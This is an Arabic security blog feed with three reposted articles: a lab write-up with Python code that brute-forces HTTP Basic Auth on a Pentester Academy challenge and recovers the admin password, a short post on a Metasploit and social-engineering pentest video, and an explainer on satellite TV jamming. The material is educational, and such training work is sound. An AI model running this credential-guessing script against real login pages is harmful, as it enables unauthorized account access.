<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
اولا : ساقوم بعمل انشاء لقائمة كلمات المرور المحتمله</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
فقد ذكر انه كلمة المرور تتكون فقط من ثلاثة احرف a,s,d وطولها 5 احرف . اذن ساقوم بكتابه نفس الكود الذي قمت بكتابته مسبقا لانشاء قائمة كلمات المرور مع استبدال pass_list بالاحرف الممكنه الجديده a,s,d</div>
<div class="wp-caption aligncenter" id="attachment_5231" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-132222.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="قائمة كلمات المرور واسماء الدخول المحتمله " class="size-medium wp-image-5231" height="90" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-132222-300x90.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
قائمة كلمات المرور واسماء الدخول المحتمله</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
الان لنقم بعمل الاتصال بنافذة الـ authentication التي تظهر لنا ومن ثم تجربة كل كلمات المرور الممكنه من خلال مكتبة requests بالبايثون . يمكنك تطبيق الامر التالي في التريمنال لتنصيبها بكل سهوله</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px; text-align: left;">
pip install requests</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ساقوم باستحضارها في كود البايثون من خلال import requests ومن ثم استحضار جزئيه HTTP Basic Auth من خلال :</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px; text-align: left;">
from requests.auth import HTTPBasicAuth</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-132616.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="Screenshot from 2014-01-29 13:26:16" class="aligncenter size-medium wp-image-5232" height="83" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-132616-300x83.png" style="background-color: white; background-position: initial initial; background-repeat: initial initial; border: 1px solid rgb(235, 235, 235); clear: both; display: block; float: none; height: auto; margin: 0px auto 15px; max-width: 97%; padding: 3px;" width="300" /></a>لنبدأ إذن بعملية التخمين من خلال كتابة حلقتين تكرار واحده لكلمات المرور وواحده لاسماء المستخدمين وهم nick,admin</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px; text-align: left;">
for passw in a :<br />for user in username:</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
الامر بسيط للغايه حيث قمت بانشاء حلقة تكرار تقوم بالعد داخل list a التي تحتوي علي كل كلمات المرور المتوقعه وبداخلها حلقة تكرار اخري تقوم بالعد علي list username للاختيار مابين nick , admin .</div>
<div class="wp-caption aligncenter" id="attachment_5233" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-132912.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="For Loop for user and password" class="size-medium wp-image-5233" height="54" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-132912-300x54.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
For Loop for user and password</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ما بقي لنا في هذا الكود هو مجرد كتابة سطر كود ليقم بالمحاوله علي النافذه التي تظهر لنا في التحدي من خلال الامر التالي</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px; text-align: left;">
send = requests.post(“https://pentesteracademylab.appspot.com/lab/webapp/basicauth”,auth=HTTPBasicAuth(user, passw))</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
قمت هنا بتعريف متغير جديد يدعي send يقوم بارسال اسم المستخدم و كلمة المرور التي تتواجد في الوضع الحالي بحلقة التكرار حيث نجد ان requests.post تحتوي علي 2 parameters الاول ياخذ الرابط الخاص بالصفحه والثاني ياخذ نوع authentication ومن ثم ارسال اسم المستخدم وكلمة المرور .</div>
<div class="wp-caption aligncenter" id="attachment_5234" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-133205.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="HTTP Basic authentication" class="size-medium wp-image-5234" height="49" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-133205-300x49.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
HTTP Basic authentication</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
حتي الان يسير الوضع بشكل جيد . ولكن ما يقوم به هذا الكود حتي الان هو مجرد ارسال كل كلمات المرور المتوقعه واسماء الدخول ولكن لا نعرف ماهي كلمة المرور واسم الدخول الصحيحين لهذه الصفحه . اذن سنحتاج لكتابة بضعة اسطر اخري لمعرفة ما اذا كان كلمة المرور واسم الدخول صحيح ام لا . يجب علينا اولا ان نري ماذا يحدث عند ادخال كلمة مرور واسم مستخدم خاطئين يدويا . نجد انه يرسل لنا النافذه مره اخري وعند الضغط علي الغاء نجد جملة Unauthorized ايضا عند محاولة الدخول الخاطئه بسكربت البايثون قد يعطي لنا خرج unauthorized .</div>
<div class="wp-caption aligncenter" id="attachment_5235" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-133716.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="output from page" class="size-medium wp-image-5235" height="69" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-133716-300x69.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
output from page</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
عند تطبيق هذا الكود ومحاولة طباعه send.text وهو الخرج حتي الان نجد انه يحدث كما في الصوره التاليه :</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
<div class="wp-caption aligncenter" id="attachment_5236" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-133801.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="Screenshot from 2014-01-29 13:38:01" class=" wp-image-5236" height="166" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-133801-300x166.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
Unauthorized Unauthorized Unauthorized</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
نجد كلمة unauthorized في الخرج اذن ما سنقوم به هو عملية فحص ما اذا كان send.text يحتوي في كل مره علي كلمة unauthorized ام لا وان لم يحتوي في مرة ما علي هذه الكلمة فهذا يعني ان عملية الدخول تمت بنجاح . فسنقوم بتطبيق التالي :</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px; text-align: left;">
if “Unauthorized” not in send.text:<br />print(“Yes it worked ” + passw)<br />break<br />else:print(“Not Connected with pass %s and user %s”) %(passw,user)</div>
<div class="wp-caption aligncenter" id="attachment_5237" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-134140.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="if unauthorized " class="size-medium wp-image-5237" height="43" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-134140-300x43.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
if unauthorized</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
نقوم بمجرد فحص ما اذا كان كلمة unauthorized موجوده بالخرج ام لا وان لم تكن موجوده كما كتبت if “unauthrized” not in send.text فهذا يعني ان العملية تمت بنجاح ويقوم بطباعه كلمة المرور الصحيحه ومن ثم توقف السكربت .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-131340.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="Screenshot from 2014-01-29 13:13:40" class="aligncenter size-medium wp-image-5238" height="42" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-131340-300x42.png" style="background-color: white; background-position: initial initial; background-repeat: initial initial; border: 1px solid rgb(235, 235, 235); clear: both; display: block; float: none; height: auto; margin: 0px auto 15px; max-width: 97%; padding: 3px;" width="300" /></a></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
نجد ان العملية تمت بنجاح من خلال كلمة المرور aaddd واسم الدخول admin . وعند محاولة الدخول يدويا نجد التالي :</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-134434.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="Screenshot from 2014-01-29 13:44:34" class="aligncenter size-medium wp-image-5239" height="94" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-134434-300x94.png" style="background-color: white; background-position: initial initial; background-repeat: initial initial; border: 1px solid rgb(235, 235, 235); clear: both; display: block; float: none; height: auto; margin: 0px auto 15px; max-width: 97%; padding: 3px;" width="300" /></a></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
يمكنكم تحميل كود الحل كاملا من خلال الرابط التالي <a href="http://pastebin.com/eM6TpJr1" style="color: #d2171e; outline: none; text-decoration: none;">http://pastebin.com/eM6TpJr1</a>:</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
اتمني ان تكون وصلت الفكره بطريقة جيده .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px; text-align: left;">
<strong>References :</strong></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px; text-align: left;">
http://en.wikipedia.org/wiki/Basic_access_authentication</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
http://www.ietf.org/rfc/rfc2617.txt</div>
<br />
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px; text-align: left;">
</div>
<div style="clear: both; color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px;">
</div>
<br />
<div style="-webkit-text-stroke-width: 0px; color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 20px; margin-bottom: 15px; margin-top: 0px; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-54791671665671880142014-02-08T15:23:00.000-08:002014-02-08T15:23:43.747-08:00فيديو : سيناريو إختبار إختراق خارجي للشبكات<div dir="rtl" style="text-align: right;" trbidi="on">
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
السلام عليكم ورحمة الله وبركاته</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
مقالي بموقع iSecur1ty</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
"""</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
اخواني واخواتي اعضاء وزوار موقع iSecur1ty الكرام احببت ان اقدم لكم اليوم طريقة جديده في اختبار الاختراق وتطبيق اختراق خارجي باستخدام الميتاسبلويت فقط مع بعض الهندسه الاجتماعيه للوصول الي احد الاجهزه الموجوده بشركة ما ومن ثم الوصول الي السيرفر الخاص بالشركة .</div>
<div class="wp-caption aligncenter" id="attachment_5300" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/02/1.png" style="color: #1d1d1d; outline: none; text-decoration: none;"><img alt="Scenario" class="size-medium wp-image-5300" height="168" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/1-300x168.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
Scenario</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
في الفيديو قمت باستخدام الهندسة الاجتماعيه ضد احد موظفي الشركة ولتكن شركة iSecur1ty ومن ثم استخدام جهاز الموظف للحصول علي صلاحيات روت (RooT) علي سيرفر اللينكس الخاص بالشركة .</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
http://www.youtube.com/watch?v=_J2TIIshoKs</div>
</div>
Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-22932943165544409392014-02-04T09:49:00.003-08:002014-02-04T09:49:37.123-08:00مقال : كيف يتم التشويش علي القنوات الفضائيه<div dir="rtl" style="text-align: right;" trbidi="on">
أحببت ان اشارككم في مدونتي مقالي علي موقع iSecur1ty .<br />
<br />
<div style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em; text-align: start;">
السلام عليكم ورحمة الله وبركاته اخواني واخواتي اعضاء وزوار موقع iSecur1ty . احببت ان اشارك معكم اليوم كيف يتم التشويش علي القنوات الفضائيه وكيف تعمل القنوات الفضائيه من الاساس ليتم التشويش عليها . اولا يجب علينا ان نتعرف كيف نقوم نحن باستقبال القنوات التلفزيونيه في منازلنا . ومال الفرق بين القنوات العاديه التي كنا نستخدمها قديما والقنوات الفضائيه المعتمده علي الاقمار الصناعيه حديثا . قبل ان نزول Satellite Tv في عام 1990 كنا نستخدم التفاز العادي والقنوات الارضيه المحليه لمن يتذكر حيث شكل انتينا الاستقبال صغيره وهي تاتي مباشرة مع التلفاز مثل التي بالصوره .<a data-mce-href="http://www.isecur1ty.org/wp-content/uploads/2014/02/television-with-antenna.jpg" href="http://www.isecur1ty.org/wp-content/uploads/2014/02/television-with-antenna.jpg"><img alt="television-with-antenna" class="aligncenter size-full wp-image-5277" data-mce-src="http://www.isecur1ty.org/wp-content/uploads/2014/02/television-with-antenna.jpg" height="214" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/television-with-antenna.jpg" style="border: 0px; cursor: default; display: block; margin-left: auto; margin-right: auto;" width="249" /></a> <span data-mce-style="color: #ff0000;" style="color: red;"><strong>كيف كانت تعمل الانظمه القديمه ؟ </strong></span> الانظمه القديمه كانت مبنيه علي اساس المحطات الارضيه التي تقوم بارسال موجات راديو (Radio Waves) يمكنك من الاجهزه في البيوت استقبالها بكل سهوله . <span data-mce-style="color: #ff0000;" style="color: red;"><strong>ماهي عيوب الانظمه القديمه ؟ </strong></span> عيوب الانظمه القديمه او المعروفه هي المدي للاشارات حيث انه يجب عليك ان تكون علي خط مستقيم بامتداد الاشاره حتي يمكنك استقبالها ولذلك فان الكره الارضيه تشكل اكبر عائق للاشاره لانها تقوم بعمل انعكاس للاشاره بسبب انها كرويه . المشكله الاخري لهذه الانظمه هي الـ distortion حيث يحدث تشويه للاشاره كلما وُجد عائق امامها ولذلك فان افضل اشاره قد تصلك ان كنت قريب جدا من المحطه بدون اي عوائق وهذا طبعا صعب عمليا . لهذا تم ابتكار Tv Satellite <a data-mce-href="http://www.isecur1ty.org/wp-content/uploads/2014/02/satellite-tv-5-1.jpg" href="http://www.isecur1ty.org/wp-content/uploads/2014/02/satellite-tv-5-1.jpg"><img alt="satellite-tv-5 (1)" class="aligncenter size-medium wp-image-5278" data-mce-src="http://www.isecur1ty.org/wp-content/uploads/2014/02/satellite-tv-5-1-300x225.jpg" height="225" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/satellite-tv-5-1-300x225.jpg" style="border: 0px; cursor: default; display: block; margin-left: auto; margin-right: auto;" width="300" /></a> <span data-mce-style="color: #ff0000;" style="color: red;"><strong>ماهو الحل الذي تضمنه TV satellite ؟ </strong></span> ان الحل الذي تضمنه هذا النوع هو ارسال الاشاره من الاقمار الصناعيه وبالتالي فإن معظم المستقبلين Receivers سيكونون علي خط مستقيم مع المرسل Transmitter وهو القمر الصناعي ولذلك ستصل الاشاره بدون اية عوائق حيث يتم استقبال الاشاره من خلال اطباق الدش كما تُعرف لدينا .</div>
<div class="mceTemp mceIEcenter" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; text-align: center;">
<dl class="wp-caption aligncenter" data-mce-style="width: 310px;" id="attachment_5279" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); margin: 10px auto; padding-top: 4px; width: 310px;">
<dt class="wp-caption-dt"><a data-mce-href="http://www.isecur1ty.org/wp-content/uploads/2014/02/Satellite_dishes1_copy.jpg" href="http://www.isecur1ty.org/wp-content/uploads/2014/02/Satellite_dishes1_copy.jpg"><img alt="Satellite_dishes1_copy" class=" wp-image-5279" data-mce-src="http://www.isecur1ty.org/wp-content/uploads/2014/02/Satellite_dishes1_copy-300x225.jpg" height="225" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/Satellite_dishes1_copy-300x225.jpg" style="-webkit-user-drag: none; border: 0px none; cursor: default; margin: 0px; padding: 0px;" width="300" /></a></dt>
<dd class="wp-caption-dd" style="font-size: 12px; line-height: 1.5; margin: 0px; padding: 0px 4px 5px;">Satellite Dish</dd></dl>
</div>
<div style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em; text-align: start;">
<br /></div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
<span data-mce-style="color: #ff0000;" style="color: red;"><strong>كيف يعمل الـ T.V satellite ؟ </strong></span></div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
<a data-mce-href="http://www.isecur1ty.org/wp-content/uploads/2014/02/satellite-tv-4.jpg" href="http://www.isecur1ty.org/wp-content/uploads/2014/02/satellite-tv-4.jpg"><img alt="satellite-tv-4" class="aligncenter size-medium wp-image-5281" data-mce-src="http://www.isecur1ty.org/wp-content/uploads/2014/02/satellite-tv-4-300x225.jpg" height="225" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/satellite-tv-4-300x225.jpg" style="border: 0px; cursor: default; display: block; margin-left: auto; margin-right: auto;" width="300" /></a>قديما كان يتم الارسال من خلال موجات <a data-mce-href="http://en.wikipedia.org/wiki/C_band" href="http://en.wikipedia.org/wiki/C_band" target="_blank">C-Band radio</a> وهي موجات كهرومغناطيسيه تعمل علي التردد من (4 جيجا هرتز الي 8 جيجا هرتز ) حسب المقرر لـها في IEEE . اما في الانظمة الجديده فتم استخدام <a data-mce-href="http://en.wikipedia.org/wiki/Ku_band" href="http://en.wikipedia.org/wiki/Ku_band" target="_blank">Ku Band</a> والتي تعمل علي نظاق ترددات من (11.7 - 14.5 جيجا هرتز النظاق المحدد لاتصال الاقمار الصناعيه التلفزيونيه ) . الاشارات المستخدمه حديثا فهي Digital بالكامل وهذا يعني جودة عاليه من الصوت والصوره .</div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
<span data-mce-style="color: #ff0000;" style="color: red;"><strong>كيف يتم الارسال ؟ </strong></span></div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
مصدر القناه- البرمجه (programming source) : وهي التي تحتوي علي معلومات القناه التي تريد بثها يتم الحجز مع شركات مزوده لخدمات الستالايت مثل (HBO ,ESPN) ليتم بث القناه عبر الاقمار الصناعيه .</div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
محطه الارسال الارضيه (BroadCast center) : وهي محطه تقوم باستقبال الاشارات من مصدر القناة ومن ثم تجميعها في حزم وارسالها الي القمر الصناعي</div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
القمر الصناعي (satellite) : ماهو الا عاكس يقوم بعكس الاشارات المرسله اليه ليتم استقبالها في البيوت من خلال اطباق الدش كما تُعرف لدينا وكما ذكرت من قبل ان هذه الطريقه هي الافضل من التقليديه لان القمر الصناعي علي بعد كبير حوالي 37,000 كيلومتر ولذلك ستكون الاشاره علي خط مستوي مع معظم المستقبلين .</div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
<span data-mce-style="color: #ff0000;" style="color: red;"><strong>اذن كيف يتم التشويش ؟ </strong></span></div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
سمعنا في الفترات الاخيره وجود عمليات تشويش تتم علي القنوات الفضائيه فكان اخرها اتهام قناة الجزيره للحكومه المصريه بالتشويش علي قنواتها حيث كشفت لهم شركة <a data-mce-href="http://www.integ.com/" href="http://www.integ.com/" target="_blank">Integral Systems</a> ان مصدر التشويش يأتي من 4 مناطق مختلفه في مصر منهم 3 مناطق تابعه للجيش المصري . ايضا تم اتهام العديد من الدول مثل ايران واثيوبيا وغيرها بالتشويش علي بعض القنوات الاخري .</div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
تقول قناة الجزيرة انه تم التشويش علي قنواتها باستخدام اجهزة SNG فماهي تلك الاجهزه ؟</div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
<span data-mce-style="color: #ff0000;" style="color: red;"><strong> ماهو SNG - Satellite News Gathering ؟</strong></span></div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
<a data-mce-href="http://www.isecur1ty.org/wp-content/uploads/2014/02/truckr.gif" href="http://www.isecur1ty.org/wp-content/uploads/2014/02/truckr.gif"><img alt="truckr" class="aligncenter size-medium wp-image-5282" data-mce-src="http://www.isecur1ty.org/wp-content/uploads/2014/02/truckr-300x140.gif" height="140" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/truckr-300x140.gif" style="border: 0px; cursor: default; display: block; margin-left: auto; margin-right: auto;" width="300" /></a>يمكن ان يكون عربة متحركه تقوم بارسال اشارات الي القمر الصناعي ... قد تستخدم هذه الطريقه للمراسلين في المناطق النائيه</div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
ولكن تم استخدامه ليقوم بتوليد اشارات بنفس التردد الذي تقع به القناه بطاقة اعلي من الاشاره الاصليه .</div>
<div class="mceTemp mceIEcenter" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; text-align: center;">
<dl class="wp-caption aligncenter" data-mce-style="width: 310px;" id="attachment_5283" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); margin: 10px auto; padding-top: 4px; width: 310px;">
<dt class="wp-caption-dt"><a data-mce-href="http://www.isecur1ty.org/wp-content/uploads/2014/02/8M27F8x500.jpg" href="http://www.isecur1ty.org/wp-content/uploads/2014/02/8M27F8x500.jpg"><img alt="8M27F8x500" class="size-medium wp-image-5283" data-mce-src="http://www.isecur1ty.org/wp-content/uploads/2014/02/8M27F8x500-300x184.jpg" height="184" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/8M27F8x500-300x184.jpg" style="-webkit-user-drag: none; border: 0px none; cursor: default; margin: 0px; padding: 0px;" width="300" /></a></dt>
<dd class="wp-caption-dd" style="font-size: 12px; line-height: 1.5; margin: 0px; padding: 0px 4px 5px;">interference</dd></dl>
</div>
<div style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em; text-align: start;">
